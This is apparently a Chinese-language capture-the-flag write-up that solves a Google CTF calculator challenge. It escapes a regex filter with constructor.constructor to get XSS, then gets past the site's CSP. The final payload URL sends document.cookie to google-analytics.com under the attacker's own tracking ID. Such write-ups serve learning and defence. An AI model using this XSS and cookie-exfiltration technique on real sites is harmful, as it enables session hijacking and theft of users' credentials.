下午刚好有时间,打算学一下绕csp的xss,然后看到了orange师傅的一道googleCTF题的wp,感觉挺有意思的,这里记录一下
题目地址:https://gcalc2.web.ctfcompetition.com/
大概的就是这个是个计算器 下面的try
it可以发一个report请求给admin,permalink可以查看链接,查看一下发现一个
1 | https://gcalc2.web.ctfcompetition.com/?expr=&vars={"pi":3.14159,"ans":0} |
尝试
1 | https://gcalc2.web.ctfcompetition.com/?expr=vars.pi*3&vars={"pi":3.14159,"ans":0} |
发现expr可以用vars里的东西 查看js发现调用部分
1 | function p(a, b) { |
这里会执行a,b作为匿名函数的参数
比如a="alert(b)",b="123"就会弹个123的窗 不过a会过一次正则,我们看一下正则
也就是说payload必须为
1.前面一块的字符 2.vars,两边为boundary 3.点+数字字母
Function类的最后一个参数会被执行,这里学到了新的xss技巧...可以用constructor.constructor(CODE)()
来xss,比如说你有个vars的object,vars有个pi属性,然后下面这段代码会弹窗
1 | // https://regex101.com/r/FLdJ7h/1 |
本来这样也就完成了攻击,但是function里面有个toLowerCase,导致不能用toString
1 | function p(a, b) { |
然后orange师傅又想了一个payload
1 | // https://regex101.com/r/IMXgwR/1 |
这里前面用了constructor调出Object类,然后用keys(vars).pop()来获取vars的最后一个成员的key,我们从而可以通过vars来构造payload 第一版payload
1 | https://gcalc2.web.ctfcompetition.com/?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()&vars={"pi":3.14159,"ans":0,"alert(1)":0} |
不过到这里还并没有完 发现头部CSP
1 | content-security-policy: default-src 'self'; child-src https://sandbox-gcalc2.web.ctfcompetition.com/ |
那么我们并不能把cookie打出去 不过后来发现 /static/calc.html的CSP
1 | //https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html |
ok,发现可以用www.google-analytics 放一篇hackerone的提交报告 https://hackerone.com/reports/199779 然后google的console https://analytics.google.com/analytics/web/ 所以我们得以构造最后的payload
1 | https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()&vars={"pi":3.14159,"ans":0, "x=document.createElement('img');x.src='https://www.google-analytics.com/collect?v=1&tid=UA-xxxxxxxxx-x&cid=xxxxxxxxx&t=event&ec=email&ea='+encodeURIComponent(document.cookie);document.querySelector('body').append(x)":0} |
这里的tid和cid是你的跟踪id和用户id,自己修改
本来这里是可以直接拿到flag的,但是其实填了之后发现并没有发到后端
自己修改一下就可以了,chrome调试修改或者burp都行
改完让chrome发出去,然后post一个report,就可以拿到flag了